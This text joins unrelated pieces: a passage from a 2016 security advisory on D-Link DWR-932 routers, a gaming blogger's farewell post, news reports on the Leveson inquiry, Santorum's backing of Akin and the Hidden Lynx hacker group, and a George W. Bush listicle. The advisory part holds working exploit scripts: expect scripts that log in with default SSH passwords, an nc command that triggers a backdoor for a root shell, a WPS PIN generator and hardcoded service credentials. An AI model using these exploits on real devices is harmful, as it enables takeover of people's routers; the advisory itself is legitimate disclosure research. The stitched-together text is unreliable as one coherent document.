spawn ssh admin@192.168.1.1 expect "password: $" send "admin\r" interact user@kali:~$ ./quanta-ssh-default-password-admin spawn ssh admin@192.168.1.1 admin@192.168.1.1's password: admin@homerouter:~$ id uid=168(admin) gid=168(admin) groups=168(admin) admin@homerouter:~$ Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin. Working exploit for root: user@kali:~$ cat quanta-ssh-default-password-root #!/usr/bin/expect -f set timeout 3 spawn ssh root@192.168.1.1 expect "password: $" send "1234\r" interact user@kali:~$ ./quanta-ssh-default-password-root spawn ssh root@192.168.1.1 root@192.168.1.1's password: root@homerouter:~# id uid=168(root) gid=168(root) groups=168(root) root@homerouter:~# Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root. Details - Backdoor A backdoor is present inside the /bin/appmgr program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running. In /bin/appmgr , a thread listens to 0.0.0.0:39889 (UDP) and waits for commands. If a client sends "HELODBG" to the router, the router will execute /sbin/telnetd -l /bin/sh , allowing to access without authentication to the router as root. When using IDA, we can see the backdoor is located in the main function (line 369): Working PoC : user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 Hello ^C user@kali:~$ telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. OpenEmbedded Linux homerouter.cpe msm 20141210 homerouter.cpe / # id uid=0(root) gid=0(root) / # exit Connection closed by foreign host. user@kali:~$ Details - Default WPS PIN Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html). By default, the PIN for the WPS system is ever 28296607 . It is, in fact, hardcoded in the /bin/appmgr program: This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router: root@homerouter:~# ps -a|grep hostap 1006 root 0:00 hostapd /var/wifi/ar6k0.conf 1219 root 0:00 grep hostap root@homerouter:~# cat /var/wifi/ar6k0.conf [...] ap_pin=28296607 [...] Details - Weak WPS PIN Generation - with a reverse-engineered algorithm An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607 WPS PIN is provided by default). The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm: user@kali:~$ cat quanta-wps-gen.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main ( int argc, char ** argv, char ** envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time( 0 )); i0 = rand() % 10000000 ; if (i0 <= 999999 ) i0 += 1000000 ; i1 = 10 * i0; i2 = ( 10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10 )) % 10 ) % 10 + 10 * i0; printf( "%d " , i2 ); return ( 0 ); } user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c user@kali:~$ ./dlink-wps-gen 97329329 user@kali:~$ You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c. Using srand(time(0)) as a seed is a bad idea because an attacker, knowing the current date as time(0) returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them. For the curious reader, the original algorithm in the firmware is: .text:0001B4D4 EXPORT generate_wlan_wps_enrollee_pin .text:0001B4D4 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p .text:0001B4D4 .text:0001B4D4 var_3C = -0x3C .text:0001B4D4 var_38 = -0x38 .text:0001B4D4 s = -0x34 .text:0001B4D4 var_30 = -0x30 .text:0001B4D4 var_2C = -0x2C .text:0001B4D4 .text:0001B4D4 STMFD SP!, {R4-R11,LR} .text:0001B4D8 SUB SP, SP, #0x1C .text:0001B4DC STR R0, [SP,#0x40+s] .text:0001B4E0 MOV R0, #0 ; timer .text:0001B4E4 BL time .text:0001B4E8 BL srand .text:0001B4EC BL rand .text:0001B4F0 LDR R4, =0x6B5FCA6B .text:0001B4F4 MOV R6, R0,ASR#31 .text:0001B4F8 SMULL R1, R4, R0, R4 .text:0001B4FC RSB R10, R6, R4,ASR#22 .text:0001B500 RSB R12, R10, R10,LSL#5 .text:0001B504 RSB R2, R12, R12,LSL#6 .text:0001B508 ADD R11, R10, R2,LSL#3 .text:0001B50C LDR R8, =0xF423F .text:0001B510 ADD R9, R11, R11,LSL#2 .text:0001B514 SUB R1, R0, R9,LSL#7 .text:0001B518 CMP R1, R8 .text:0001B51C ADDLS R1, R1, #0xF4000 .text:0001B520 ADDLS R1, R1, #0x240 .text:0001B524 ADD R3, R1, R1,LSL#2 .text:0001B528 MOV R3, R3,LSL#1 .text:0001B52C LDR R1, =0xCCCCCCCD .text:0001B530 LDR R5, =0xA7C5AC5 .text:0001B534 LDR R6, =0x6B5FCA6B .text:0001B538 MOV R7, R3,LSR#5 .text:0001B53C UMULL R4, R7, R5, R7 .text:0001B540 UMULL R9, LR, R1, R3 .text:0001B544 UMULL R5, R6, R3, R6 .text:0001B548 LDR R12, =0xD1B71759 .text:0001B54C MOV R6, R6,LSR#22 .text:0001B550 UMULL R10, R12, R3, R12 .text:0001B554 MOV LR, LR,LSR#3 .text:0001B558 UMULL R10, R9, R1, R6 .text:0001B55C UMULL R8, R10, R1, LR .text:0001B560 LDR R0, =0x431BDE83 .text:0001B564 MOV R12, R12,LSR#13 .text:0001B568 UMULL R11, R0, R3, R0 .text:0001B56C STR R10, [SP,#0x40+var_38] .text:0001B570 UMULL R8, R10, R1, R12 .text:0001B574 LDR R2, =0x51EB851F .text:0001B578 LDR R4, =0x10624DD3 .text:0001B57C UMULL R5, R2, R3, R2 .text:0001B580 MOV R0, R0,LSR#18 .text:0001B584 STR R10, [SP,#0x40+var_3C] .text:0001B588 UMULL R8, R4, R3, R4 .text:0001B58C UMULL R8, R10, R1, R0 .text:0001B590 MOV R2, R2,LSR#5 .text:0001B594 MOV R7, R7,LSR#7 .text:0001B598 UMULL R8, R11, R1, R7 .text:0001B59C STR R10, [SP,#0x40+var_30] .text:0001B5A0 MOV R4, R4,LSR#6 .text:0001B5A4 UMULL R8, R10, R1, R2 .text:0001B5A8 UMULL R8, R5, R1, R4 .text:0001B5AC STR R10, [SP,#0x40+var_2C] .text:0001B5B0 MOV R8, R9,LSR#3 .text:0001B5B4 MOV R10, R11,LSR#3 .text:0001B5B8 ADD R11, R10, R10,LSL#2 .text:0001B5BC ADD R9, R8, R8,LSL#2 .text:0001B5C0 MOV R10, R5,LSR#3 .text:0001B5C4 LDR R8, [SP,#0x40+var_38] .text:0001B5C8 SUB R6, R6, R9,LSL#1 .text:0001B5CC SUB R7, R7, R11,LSL#1 .text:0001B5D0 LDR R9, [SP,#0x40+var_3C] .text:0001B5D4 LDR R11, [SP,#0x40+var_30] .text:0001B5D8 ADD R5, R10, R10,LSL#2 .text:0001B5DC SUB R5, R4, R5,LSL#1 .text:0001B5E0 LDR R4, [SP,#0x40+var_2C] .text:0001B5E4 MOV R10, R8,LSR#3 .text:0001B5E8 MOV R8, R9,LSR#3 .text:0001B5EC MOV R9, R11,LSR#3 .text:0001B5F0 ADD R7, R7, R6 .text:0001B5F4 ADD R10, R10, R10,LSL#2 .text:0001B5F8 ADD R9, R9, R9,LSL#2 .text:0001B5FC MOV R11, R4,LSR#3 .text:0001B600 ADD R8, R8, R8,LSL#2 .text:0001B604 ADD R7, R7, R5 .text:0001B608 SUB LR, LR, R10,LSL#1 .text:0001B60C SUB R5, R0, R9,LSL#1 .text:0001B610 SUB R8, R12, R8,LSL#1 .text:0001B614 ADD R11, R11, R11,LSL#2 .text:0001B618 ADD R12, R7, LR .text:0001B61C SUB R4, R2, R11,LSL#1 .text:0001B620 ADD R8, R8, R5 .text:0001B624 ADD R5, R8, R4 .text:0001B628 ADD R0, R12, R12,LSL#1 .text:0001B62C ADD R4, R5, R0 .text:0001B630 UMULL R5, R1, R4, R1 .text:0001B634 MOV R2, R1,LSR#3 .text:0001B638 ADD LR, R2, R2,LSL#2 .text:0001B63C SUB R8, R4, LR,LSL#1 .text:0001B640 LDR R0, =0x66666667 .text:0001B644 RSB R2, R8, #0xA .text:0001B648 SMULL R8, R0, R2, R0 .text:0001B64C MOV R12, R2,ASR#31 .text:0001B650 RSB R1, R12, R0,ASR#2 .text:0001B654 ADD LR, R1, R1,LSL#2 .text:0001B658 LDR R12, =(aHostapd_conf_f - 0x1B670) .text:0001B65C SUB R4, R2, LR,LSL#1 .text:0001B660 LDR R2, =(aGet_wpspinI - 0x1B67C) .text:0001B664 ADD R4, R4, R3 .text:0001B668 ADD R0, PC, R12 ; "hostapd_conf_file_gen" .text:0001B66C ADD R0, R0, #0x3C .text:0001B670 MOV R1, #0x3B .text:0001B674 ADD R2, PC, R2 ; "Get_WpsPin:%in" .text:0001B678 MOV R3, R4 .text:0001B67C BL wifi_filelog .text:0001B680 LDR R1, =(a08lu - 0x1B690) .text:0001B684 LDR R0, [SP,#0x40+s] ; s .text:0001B688 ADD R1, PC, R1 ; "%08lu" .text:0001B68C MOV R2, R4 .text:0001B690 ADD SP, SP, #0x1C .text:0001B694 LDMFD SP!, {R4-R11,LR} .text:0001B698 B sprintf .text:0001B698 ; End of function generate_wlan_wps_enrollee_pin Details - Leaking No-IP account (?): The file /etc/inadyn-mt.conf (for a dyndns client) contains an user and a hardcoded password: --log_file /usr/inadyn_srv.log --forced_update_period 6000 --username alex_hung --password 641021 --dyndns_system default@no-ip.com --alias test.no-ip.com Details - Multiple vulnerabilities in the HTTP daemon (qmiweb) The HTTP daemon /bin/qmiweb is full of vulnerabilities. You can see my precedent researches about a router model using a similar firmware: Adapting the exploits is left as exercises for the reader :) Details - Remote FOTA (Firmware Over The Air) The credentials to contact the FOTA server are hardcoded in the /sbin/fotad binary, as shown with this IDA screenshot: The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware. It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1.5 year. The user/password combinations are: qdpc:qdpc qdpe:qdpe qdp:qdp Details - Bad security practices: From /etc/init.d/start_appmgr , you will read "strange" shell commands executed as root, like: if [ -f /sbin/netcfg ]; then echo -n "chmod 777 netcfg" chmod 777 /sbin/netcfg fi if [ -f /bin/QNetCfg ]; then echo -n "chmod 777 QNetCfg" chmod 777 /bin/QNetCfg fi I have no idea why the vendor needs to chmod 777 files located in /bin/. Details - Security removed in UPnP UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client. Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN: The /var/miniupnpd.conf is generated by the /bin/appmgr program: It will generate the /var/miniupnpd.conf file: ext_ifname=rmnet0 listening_ip=bridge0 port=2869 enable_natpmp=yes enable_upnp=yes bitrate_up=14000000 bitrate_down=14000000 secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP. presentation_url=http://192.168.1.1 system_uptime=yes notify_interval=30 upnp_forward_chain=MINIUPNPD upnp_nat_chain=MINIUPNPD There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024: Normal config file: # UPnP permission rules # (allow|deny) (external port range) ip/mask (internal port range) # A port range is <min port>-<max port> or <port> if there is only # one port in the range. # ip/mask format must be nn.nn.nn.nn/nn # it is advised to only allow redirection of port above 1024 # and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535" allow 1024-65535 192.168.0.0/24 1024-65535 deny 0-65535 0.0.0.0/0 0-65535 In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN. Personal notes As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy ( /bin/tinyproxy -c /var/tproxy.conf ), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie). From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort. Vendor Response Customers with questions should contact their local/regional D-Link support offices for the latest information. Report Timeline Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers. Apr 04, 2016: A public advisory about Quanta routers is sent to security mailing lists. Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about Dlink DWR-932 router's similarities to Quanta routers. Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will contact Dlink. Jun 15, 2016: Dlink is contacted about vulnerabilities in the DWR-932 router (=~ 20 vulns). Jun 16, 2016: Dlink Security Incident Response Team (William Brown) acknowledges the receipt of the report and says they will provide further updates. Jul 09, 2016: Pierre asks for updates. Jul 09, 2016: Dlink says they will have correction by July 15. Jul 19, 2016: Pierre asks for updates. Aug 19, 2016: Pierre asks for updates. Sep 12, 2016: Pierre asks for updates and says he will soon release an advisory as 90 days have passed without news. Sep 12, 2016: cert@cert.org is contacted to get pieces of advice about the disclosure. Sep 13, 2016: CERT recommends to try to contact D-link and to publish the advisory. Sep 13, 2016: Dlinks says they don't have a schedule for a firmware release. Customers who have questions should contact their local/regional D-Link support offices for the latest information. support.dlink.com will be updated in the next 24 hours. Sep 28, 2016: A public advisory is sent to security mailing lists. Credits These vulnerabilities were found by Pierre Kim (@PierreKimSec). I would like to thank Gianni Carabelli who found this router and thought it was very similar to the previous backdoored Quanta routers. References https://pierrekim.github.io/advisories/2016-dlink-0x00.txt https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

Dear readers and friends, now, that’s a change from the usual “hello everyone” and the Star Trek title – must mean something significant, yes? Well, unfortunately, it does. I am quitting working on For the Record, completely. The reasons for these are numerous, but the most obvious one is that I was hired by My.com, the producer of Armored Warfare, to become a content manager and a sort of historical advisor (minus the epic hat) with a hint of community management. My contract prevents me from doing anything, that would benefit My.com’s competition and unfortunately, running a Wargaming news blog is exactly the kind of thing that is prohibited. I wasn’t expecting this to come so suddenly (in fact, I was counting on running the blog for at least another month to take it all nice and slow), but the resolution of the situation came rather swiftly and I cannot wait – I’d be in breach of my contract. Don’t worry though, I won’t leave you without any info, there is a contingency plan (see below). There are other reasons as well though and I do feel like I owe you a longer explanation though, so here goes. This decision is not new. Some of you might remember that I was considering quitting completely as early as in the autumn of 2014. Wasn’t a good time for me really – along with some health issues, by that point FTR was practically a fulltime job (which didn’t change until today) and no matter how easy it might seem to an outsider, running the blog to any standard was completely exhausting. Another price, even more serious one, was the complete lack of any “life”, a price I was willing to pay, but I am no longer – I found someone very special in my life and suddenly found myself in a situation where I had to choose between my private life and working on FTR. Until today, I chose the latter, but I cannot do that anymore. But that’s not nearly everything. For a long time, I was doing FTR mostly out of sense of duty, as there was unfortunately no true goal to the entire endeavor. While the FTR numbers between 2013 and 2014 practically doubled, recently, the growth generally just stagnated. I believe that as it is now, FTR has reached its limits, there is nowhere to expand – in fact, I had to get rid of some topics to be able to manage the amount of incoming information. And add one more factor to that. There is nowhere to go for me even in World of Tanks itself. I am not really interested in becoming a unicum or anything. For me, the real fun with World of Tanks was participating (well, sort of) in the development. As you know, my goal was to have Czechoslovak tanks introduced into the game and by Wargaming actually agreeing to do that, there’s nothing left to achieve. Combine all these reasons and you have a very tiring mixture. Make no mistake: I liked working on For the Record and I was happier working on it more than I was with my real job. Unfortunately, even with the generosity of the contributors (some were VERY generous and I won’t forget that), FTR could never bring enough money to work as a fulltime job. Well, maybe it could, if I spam the entire site with ads, but the thing is, I hate ads. Plus, ad revenue is extremely vulnerable to reader whims as the Adblock is just one click away. Sure, you might think – why not contact Wargaming and maybe work something out? Well… for one, you know very well what I think of the entire WG EU. WG RU has some really cool guys and I never had a “beef” with them per se, but the thing is… I am also tired of this game and I don’t like where it is going. Sure, Czechoslovak tanks are cool, but what’s next? The development future and plans do seem a bit like stumbling in the dark from my perspective. I don’t feel like Wargaming has a clear vision, as there is little to achieve gameplay-wise left for them apart from making more and more money. Not that there’s something wrong with making money, it’s just that I have the feeling (especially lately) that it actually sometimes collides with the game development itself (cutting out content that is very expensive to produce, while introducing more and more premium tanks being the most obvious example). Perhaps I am wrong, but that’s how I see it. That’s why I turned to who I consider to have a bright future: Armored Warfare developers, Obsidian. Armored Warfare developers have a vision, that doesn’t consist entirely of selling you more and more stuff – and they listen to the players. An example: it took me two years to convince Wargaming to put Czechoslovak tanks into the game. It took me three minutes to do that with Obsidian. What I do believe is that with proper development, Armored Warfare can not only go toe to toe with World of Tanks, we can even beat it on their own turf.Therein lies the challenge and the goal. Can I personally help to make it better with my dedication? I’d like to think that yes, I can. I have faith, something I lacked for a very long time, a faith that was in Wargaming’s case replaced by cynicism, stemming from some degree of knowledge of Wargaming’s inner workings a long time ago. I am sure you noticed that yourselves from the leaks as well. I will not tell you that Wargaming is the Great Satan and Armored Warfare is our only savior. That would be stupid and it would be a lie. For all its flaws and the idiocy of some of WG staff, World of Tanks is a good game, even a great game (if you embrace arty that is :D). I just think there’s an opportunity here to build something even better – together with the players and developers actually listening to player feedback without having to spend years to convince them of a good idea. And so, it suddenly all “clicked” together – their offer, my desire to do something I actually really like for a living and reasons to actually have some private life back. And I said yes. So this is it. Now, before I depart, two things. AW beta keys If you are interested, I have beta keys for all the contributors, who ever donated to FTR. Just write me an email at fortherecordwot@gmail.com with your identification as a former FTR contributor and I’ll send you one. I wish I had beta keys for EVERYBODY but alas, I couldn’t get my hands on so many. But that’s okay… I am pretty sure that if you go to the Armored Warfare site and register for CBT, you’ll get there in no time, the beta has plenty of space for everybody. FTR replacement Second – as promised, you won’t be left without information. I was wondering for a long time how to do this – and I opted for one thing, one person who actually has no agenda and who I actually really trust – Ritagamer. Surprised? So was I, when she showed interest. Long story short: I did put her in touch with a native Russian speaker, let’s call him “Ivan”. Ivan will help her with translations for her and she will be posting them in the same style as I used on FTR. And yes, there will still be leaks. She will also cover Armored Warfare actually, so you’ll get everything in a nice, neat package. You can find her blog here: http://ritastatusreport.blogspot.nl/ Make no mistake, it will be very difficult for her at first and the design of the blogger site is less than optimal, so please, support her as much as you did support me, she is taking a huge risk with this and it’s a lot of work. But, I am confident she’ll be up to the task – you know her from her streams, when she wants something, she gets it right :) So, that’s it really. I hope to see you drop by on AW forums. This is for the record… signing off.

The mother of Hugh Grant's daughter received a barrage of threatening phone calls while the actor was appearing on Question Time to talk about the closure of the News of the World, the lawyer acting for victims of alleged press intrusion has claimed at the Leveson inquiry. David Sherborne, who represents the woman as well as speaking on behalf of 51 alleged victims of press intrusion at the Leveson inquiry, told the high court she was too stressed at the time to call the police. Sherborne said that "Whilst Mr Grant was appearing on Question Time, discussing the closure of the NoW, Rupert Murdoch and press standards generally, she received a barrage of telephone calls from a withheld number from someone who managed to get it from somewhere, and when they finally answered she was threatened in the most menacing terms, which should reverberate around this inquiry: 'Tell Hugh Grant he must shut the fuck up'. Unsurprisingly she was too stressed to call the police." The barrister also claimed that Tinglan Hong's mother was almost run over by paparazzi in the weeks after Grant became one of the most prominent critics of News International. He told Lord Justice Leveson that the incidents had been reported to the Metropolitan police on the third day of the judicial inquiry into phone hacking and media standards on Wednesday. Near the end of a lengthy diatribe against tabloid press ethics and behaviour, the lawyer said he had secured an emergency injunction on behalf of the mother of Hugh Grant's child. Sherborne claimed the real reason for her injunction is that she has received threats because the father of child has spoken out against the press. Grant appeared on Question Time on 7 July to discuss phone hacking. On the same day News International announced the closure the News of the World following the revelation that the paper had accessed the voicemail of murdered teenager Milly Dowler. Leveson told Sherborne he had presented one side of alleged press intrusion "very graphically" and he wanted to be satisfied he has a full picture of the incidents the QC made claims about. Sherborne also told the inquiry that the parents of Madeleine McCann "begged for restraint" from blatant intrusion into their private lives by the News of the World. He claimed that the now-defunct tabloid newspaper published Kate McCann's private letters to her missing daughter without consent and even before her husband Gerry had seen them. Charlotte Church will also give evidence as a core participant to the inquiry. Sherborne told the high court that Church had been hounded incessantly by photographers looking for a scoop – and as recently as a week ago was the subject of a "complete fabrication" published in one unnamed newspaper. He claimed that Church's mother attempted suicide shortly before the News of the World published a story in 2005 alleging that her father was having an affair. "This is the real, brutally real impact this kind of journalism has," Sherborne said. Earlier, the inquiry heard how Max Mosley believed that the News of the World's invasion of his privacy contributed to the suicide of his son. The original article stated Church's mother attempted suicide shortly after the News of the World published a story in 2005 alleging that her father was having an affair. This has been amended and now states Church's mother attempted suicide shortly before the News of the World published a story in 2005. • To contact the MediaGuardian news desk email editor@mediatheguardian.com or phone 020 3353 3857. For all other inquiries please call the main Guardian switchboard on 020 3353 2000. If you are writing a comment for publication, please mark clearly "for publication". • To get the latest media news to your desktop or mobile, follow MediaGuardian on Twitter and Facebook.

BARNESVILLE, Ohio -- Rick Santorum on Saturday said the entire Republican Party should voice its support for Senate candidate Todd Akin of Missouri -- including the top of the party's presidential ticket. After holding a rally for Republican presidential nominee Mitt Romney here in the heart of Ohio's coal country, Santorum told NBC News that an Akin victory is essential for the GOP to regain control of the Senate and repeal President Barack Obama's health care law. The only way for that to happen, Santorum said, is for the GOP establishment to give the embattled Akin its full-fledged support. "The entire Republican Party should stand up and say, 'You know what? He's our candidate, it's too important for the future of our country not to have a majority of the Senate in this upcoming election," Santorum said when asked if Romney needs to publicly support Akin. "I'm hoping everybody will join in and support the cause." The former Pennsylvania senator and unsuccessful president candidate joined South Carolina Sen. Jim DeMint in announcing their support of Akin on Wednesday. "I don't know what the Republican establishment -- what their objective is, but if they want to repeal Obamacare, we better hold the Senate. And to hold the Senate, we better win Missouri," Santorum said. Akin has taken heat from both sides of the aisle after using the term "legitimate rape" and saying women have a biological way of preventing unwanted pregnancies while he gave a now-notorious explanation of his views on abortion. "My feeling is that we can win the presidency, but if we don't have 51 senators, we're not going to be able to repeal Obamacare," said Santorum. Romney's former rival has been active campaigning for the presidential candidate in the Buckeye State. It's a primary Santorum nearly won on Super Tuesday, and his support was particularly strong in this part of the state, heavy with blue-collar workers and not far from his home of Pittsburgh. Despite recent polls showing Romney needing to make up significant ground in Ohio, the former senator remained optimistic about the state turning red. "I'm confident that Mitt Romney will win Ohio, will when the presidency," he said. "People here understand how dangerous this president is." That danger, Santorum said, stems from the president's energy policy, which he claims makes the U.S. more dependent on foreign oil. It is a message the Romney campaign hopes will resonate in this coal-rich part of the state. It is here where Republicans go to hammer Obama for waging a "war on coal." "This is a president that is going to drive this country to economic ruin because of a phony ideology that, you know, somehow or another he has to control the seas rising and falling," Santorum said. While Santorum has been traveling as a Romney surrogate, he also has been holding events in places like Iowa independent of the presidential race. It has fueled speculation that he could be eyeing another run. Asked about his political future, Santorum would only say that he will be happy in 2016 to continue his work as a Romney surrogate. "I'll be happy to come back and campaign for Gov. Romney in four years," he said.

An elite group of nation-state hackers running roughshod through the financial sector and other industries in the U.S. has pioneered techniques that others are following, and has used sophisticated methods to go after hardened targets, including hacking a security firm to undermine the security service the company provided its clients. The highly professional group, dubbed Hidden Lynx, has been active since at least 2009, according to security firm Symantec, which has been tracking the group for some time. Hidden Lynx regularly uses zero-day exploits to bypass countermeasures they encounter. And, unusually for a government-sponsored effort, the gang appears to have a sideline staging financially motivated attacks against Chinese gamers and file-sharers. Symantec believes the group is 50-100 people strong, given the extent of its activities and the number of hacking campaigns its members maintain concurrently. "They are one of the most well-resourced and capable attack groups in the targeted threat landscape," Symantec writes in a report released today (.pdf). "They use the latest techniques, have access to a diverse set of exploits and have highly customized tools to compromise target networks. Their attacks, carried out with such precision on a regular basis over long periods of time, would require a well-resourced and sizeable organization." The group has targeted hundreds of organizations – about half of the victims are in the U.S. – and has succeeded in breaching some of the most secure and best-protected organizations, according to Symantec. After the U.S., the largest numbers of victims are in China and Taiwan; recently the group has focused on targets in South Korea. Attacks against government contractors and, more specifically, the defense industry suggest the group is working for agencies of a nation-state or states, Symantec says, and the diversity of the targets and information they're after suggest "they are contracted by multiple clients." Symantec notes that the group is primarily engaged in state-sponsored hacking, but the hacker-for-hire service conducted on the side for profit is significant. The attackers use sophisticated techniques and display skills that are far in advance of the Comment Crew and other groups recently exposed. The Comment Crew is a group that numerous security firms have been tracking for years but got attention earlier this year when the New York Times published an extensive report tying them to the Chinese military. The Hidden Lynx group pioneered so-called "watering hole attacks" whereby malicious actors compromise web sites frequented by people in specific industries so that their computers are infected with malware when they visit the sites. The hacking group began using the technique more than three years ago, before it became popularized by other groups last year. In some cases they maintained a persistent presence on compromised sites for two to five months. "These are exceptionally long periods of time to retain access to compromised servers for payload distribution of this nature," says Liam O'Murchu, manager of security response operations for Symantec. Many of the tools they use as well as their infrastructure originate from China. The command-and-control servers are also hosted in China. “We don’t know the people who are operating this,” says O’Murchu, “we can just say there are an awful lot of indicators to China here.” The group has a small connection to Operation Aurora, the group, said to be from China, that hacked Google in 2010 along with about thirty other companies. According to Symantec, they use one of the same Trojans that was used by that group. "It's very unusual because the Trojan is unique," says O'Murchu. "We don't see it used elsewhere. The only place we see it used is in those [Aurora] attacks and this group." O’Murchu says there may be more connections between the groups but Symantec hasn’t found any so far. The group uses dynamic DNS to rapidly switch command-and-control servers to hide their tracks and recompiles their backdoors frequently to keep a step ahead of detection. They also switch out zero-day exploits when one is discovered. For example when one zero-day vulnerability gets patched by a vendor, they've immediately swapped out the exploit attacking it for a new one attacking a different zero-day vulnerability. In at least one interesting case, it appears the attackers gained knowledge of a zero-day exploit against an Oracle vulnerability around the same time that Oracle learned of it. The exploit was almost identical to what Oracle provided customers to test their systems. "We don’t know what’s going on there, but we know that the information that was released from Oracle regarding the exploit is almost identical to the information that the attackers used in their exploit before that information was released," says O'Murchu. "Something is fishy there. We don’t know how they got that information. But it’s very unusual to have the vendor release attack information and have the attacker already using the information." But their boldest attack so far targeted Bit9, which they hacked just to obtain the means to hack other targets, O'Murchu says. In this, they resemble the hackers that penetrated RSA security in 2010 and 2011. In that case, hackers targeting defense contractors went after RSA security in an attempt to steal information that would allow them to undermine the RSA security tokens that many defense contractors use to authenticate workers to their computer networks. Bit9, based in Massachusetts, provides a cloud-based security service that uses whitelisting, trusted application control and other methods to defend customers against threats, making it difficult for an intruder to install an untrusted application on a Bit9 customer’s network. The attackers first broke into the network of a defense contractor, but after finding that a server they wanted to access was protected by Bit9’s platform, they decided to hack Bit9 to steal a signing certificate. The certificate allowed them to sign their malware with the Bit9 certificate to bypass the defense contractor’s Bit9 protections. The Bit9 attack, in July 2012, used SQL injection to gain access to a Bit9 server that wasn't protected by Bit9's own security platform. The hackers installed a custom backdoor and stole credentials for a virtual machine that gave them access to another server that had a Bit9 code-signing certificate. They used the certificate to sign 32 malicious files that were then used to attack defense contractors in the U.S. Bit9 later revealed that at least three of its customers were affected by the breach. In addition to defense contractors, the Hidden Lynx group has targeted financial sector, which makes up the largest group of victims attacked by the group, as well as the education sector, government and the technology and IT sectors. They’ve targeted stock trading firms and other companies in the financial sector, including "one of the world's largest stock exchanges." Symantec won't identify the latter victim, but O'Murchu says that in these attacks it appears they’re not going after victims to steal money from their stock trading accounts but are likely seeking information about business deals and more complicated financial transactions that are in the works. O'Murchu didn't identify the victims, but one recent hack that matches this description involved a 2010 breach into the parent company that operates the Nasdaq stock exchange. In that hack, the intruders gained access to a web application used by company CEOs to exchange information and set up meetings. The Hidden Lynx group has also gone after the supply chain, targeting companies that supply hardware and secure network communications and services for the financial sector. In another campaign, they went after manufacturers and suppliers of military-grade computers who were targeted with a Trojan installed in an Intel driver application. Symantec notes that the attackers likely compromised a legitimate web site where the driver application was available for download. Aside from the nation-state hacking activity, Hidden Lynx appears to operate a hacker-for-hire group that penetrates some victims – primarily in China - for financial gain. O'Murchu says the group has targeted peer-to-peer users in that country as well as gaming sites. The latter kinds of hacks are generally conducted with the intent of stealing a player's assets or game money. "We see that as an unusual aspect of this group," O'Murchu says. "They definitely go after difficult-to-get-into targets like defense contractors, but we we them also trying to make money. We see that they use Trojans that are specifically coded to steal gaming credentials, and normally the threats to steal gaming credentials are used for money. It’s unusual. Normally, we see these guys working for the government and ... stealing intellectual property or trade secrets, but this one they are doing that but they are also trying to make money on the side." The group has left clearly identifiable fingerprints over the last two years that allowed Symantec to trace their activity and connect different attacks. O'Murchu thinks the group hasn't wanted to spend time covering its tracks, instead focusing on penetrating companies and maintaining a persistent hold on them. "Hiding your tracks and being careful to be exposed can actually consume a large amount of time in these sorts of attacks," he says. "It could be they just don’t want to spend that much time to time to cover their tracks."

1. Riding 100K on mountain bikes with military men and women who were wounded in the Global War on Terror. (via) 2. George W. Bush has been painting in his free time. Two examples of his artwork. (via) 3. He gets to hangout with his granddaughter. (via) 4. He puts on a golf tournament for our military who served in the Global War on Terror. (via) 5. Helping those in need in Zambia. (via) 6. Family Time with Bush (41) and his mom. (via) 7. Being part of a naturalization ceremony honoring twenty new citizens from twelve countries at the Bush Institute. (via) 8. Enjoying Football. (via) 9. Being part of a re-enlistment ceremony on the USS George H.W. Bush. (via) 10. Visiting with young students. (via) 11. He is busy writing books. (via) 12. Even though he is no longer in office he is still working hard to help people around the world. (via) 13. Supervising his presidential center being built. (via)

